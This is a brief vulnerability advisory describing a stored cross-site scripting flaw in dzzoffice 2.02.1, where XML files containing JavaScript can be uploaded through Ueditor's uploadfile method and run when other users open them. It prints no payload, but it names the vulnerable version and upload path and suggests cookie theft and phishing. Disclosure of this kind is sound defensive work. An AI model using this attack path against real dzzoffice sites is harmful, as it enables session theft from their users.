Stored XSS Vulnerability in dzzoffice 2.02.1 SC UTF8 Due to Ueditor's Uploadfile Method

Summary

There is a significant Stored Cross-Site Scripting (XSS) vulnerability identified in dzzoffice 2.02.1 SC UTF8. This vulnerability allows the upload of XML files through Ueditor's uploadfile method, leading to the possibility of an XSS exploit. The potential for harm is elevated as the malicious scripts are permanently stored on the server and executed whenever the user accesses the saved file.

Detail

The vulnerability exists due to the application's failure to properly sanitize the XML files being uploaded via the uploadfile method of Ueditor. A possible exploitation would involve the unauthorized uploading of an XML file embedded with a malicious script. In this case, the XML file contains a JavaScript script that, when run, shows the user's cookies.

Impact

The impact of this vulnerability is substantial. Stored XSS attacks are potentially more devastating than other types as they can compromise a larger portion of users. Since the malicious script is stored on the server, every user who accesses the file would be a victim of the XSS attack. In our case, the script displayed the user's cookies. However, a malicious attacker may design more harmful scripts to, for example, steal session cookies, perform actions on behalf of the user, or even carry out phishing attacks. This vulnerability poses a serious security threat, and immediate remedial measures are recommended.
